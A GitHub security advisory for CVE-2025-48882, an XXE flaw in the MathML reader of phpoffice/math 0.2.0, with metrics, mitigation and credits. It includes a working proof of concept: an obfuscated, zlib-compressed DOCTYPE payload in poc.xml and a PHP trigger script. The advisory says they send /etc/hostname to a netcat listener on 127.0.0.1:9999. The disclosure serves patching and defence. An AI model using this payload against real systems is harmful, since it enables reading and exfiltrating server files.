Skip to content

XXE when processing an XML file in the MathML format

High
Progi1984 published GHSA-42hm-pq2f-3r7m May 29, 2025

Package

composer phpoffice/math (Composer)

Affected versions

0.2.0

Patched versions

0.3.0

Description

Product: Math
Version: 0.2.0
CWE-ID: CWE-611: Improper Restriction of XML External Entity Reference
CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)
CVSS vector v.3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Description: An attacker can create a special XML file, during which it processed, external entities are loaded, and it’s possible to read local server files.
Impact: Local server files reading
Vulnerable component: The loadXML function with the unsafe LIBXML_DTDLOAD flag, the MathML class
Exploitation conditions: The vulnerability applies only to reading a file in the MathML format.
Mitigation: If there is no option to refuse using the LIBXML_DTDLOAD flag, it’s recommended to filter external entities through the implementation of the custom external entity loader function.
Researcher: Aleksandr Zhurnakov (Positive Technologies)

Research

Zero-day vulnerability was discovered in the Math library in the detailed process of the XXE vulnerability research in PHP.
Loading XML data, using the standard libxml extension and the LIBXML_DTDLOAD flag without additional filtration, leads to XXE.

Below are steps to reproduce the vulnerability.

  1. Preparation:
  • The payload was tested on the PHP versions >= 8.1.
  • The composer manager is used to install the latest version of the Math library.
  • PHP has to be configurated with Zlib support.
  • The necessary requirements for the Math library must be installed.
  • The netcat utility is used for demonstration exfiltration.
  1. Make math directory and then moving into it.
mkdir math && cd math
  1. Install the latest actual version of the library (Figure 1).
composer require phpoffice/math

Figure 1. Installing the library
fig2

  1. Create poc.xml file (Listing 1):

Listing 1. Creating poc.xml

xml     
<?xml version="1.0" encoding="UTF-8"?>     <!DOCTYPE x SYSTEM 
"php://filter/convert.base64-
decode/zlib.inflate/resource=data:,7Ztdb9owFIbv%2bRVZJ9armNjOZ2k7QUaL%2bRYO2nqFUn
BFNQaMptP272cnNFuTsBbSskg1iATZzvGxn/ccX3A4fdfoecS7UsrK1A98hV5Rr9FVjlaz1UmlcnM7D9i
6MlkufrB1AK79O2bqKltMllMWt96KL6ADwci7sJ4Yu0vr9/tlwKbqan27CPzrOXvevFGrbRvOGIseaCa7
TAxok1x44xahXzQEcdKPKZPevap3RZw920I0VscWGLlU1efPsy0c5cbV1AoI7ZuOMCZW12nkcP9Q2%2bQ
ObBNmL6ajg8s6xJqmJTrq5NIArX6zVk8Zcwwt4fPuLvHnbeBSvpdIQ6g93MvUv3CHqKNrmtEW4EYmCr5g
DT5QzyNWE4x6xO1/aqQmgMhGYgaVDFUnScKltbFnaJoKHRuHK0L1pIkuaYselMe9cPUqRmm5C51u00kkh
y1S3aBougkl7e4d6RGaTYeSehdCjAG/O/p%2bYfKyQsoLmgdlmsFYQFDjh6GWJyGE0ZfMX08EZtwNTdAY
ud7nLcksnwppA2UnqpCzgyDo1QadAU3vLOQZ82EHMxAi0KVcq7rzas5xD6AQoeqkYkgk02abukkJ/z%2b
Nvkj%2bjUy16Ba5d/S8anhBLwt44EgGkoFkIBlIBpKBZCAZSAaSgWQgGUgGkoFkIBlIBpKBZCAZSAaSgW
QgGUgGxWOwW2nF7kt%2by7/Kb3ag2GUTUgBvXAAxiKxt4Is3sB4WniVrOvhwzB0CXerg5GN9esGRQv7Rg
QdMmMO9sIwtc/sIJUOCsY4ee7f7FIWu2Si4euKan8wg58nFsEIXxYGntgZqMog3Z2FrgPhgyzIOlsmijo
wqwb0jyMqMoGEbarqdOpP/iqFISMkSVFG1Z5p8f3OK%2bxAZ7gClpgUPg70rq0T2RIkcup/0newQ7NbcU
Xv/DPl4LL/N7hdfn2dp07pmd8v79YSdVVgwqcyWd8HC/8aOzkunf6r%2b2c8bpSxK/6uPmlf%2br/nSny
rHcduH99iqKiz7HwLxTLMgEM0QWUDjb3ji8NdHPslZmV%2bqR%2bfH56Xyxni1VGbV0m8=" 
[]><foo></foo>
  1. Create math.php file (Listing 2):

Listing 2. Creating math.php

<?php
    require_once "./vendor/autoload.php";

    $reader = new \PhpOffice\Math\Reader\MathML();
    $reader->read(
        file_get_contents('poc.xml')
    );
  1. The payload (see the step 4) is set to exfiltrate the /etc/hostname file through http://127.0.0.1:9999/, so the listening socket is launched at the 9999 port (Figure 2)

Figure 2. Launching the listening socket
fig2

  1. Execute php-script via console:
php math.php

6 characters from the /etc/hostname file will be exfiltrated to the 9999 port in base64 format (Figure 3).

Figure 3. Characters exfiltration
fig3

Decode the received data from base64 removing the last M character (the payload feature) (Figure 4).

Figure 4. Data decoding
fig4

  1. By changing the payload, the remaining file can be received.

Credits

Aleksandr Zhurnakov (Positive Technologies)

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVE ID

CVE-2025-48882

Weaknesses

Improper Restriction of XML External Entity Reference

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. Learn more on MITRE.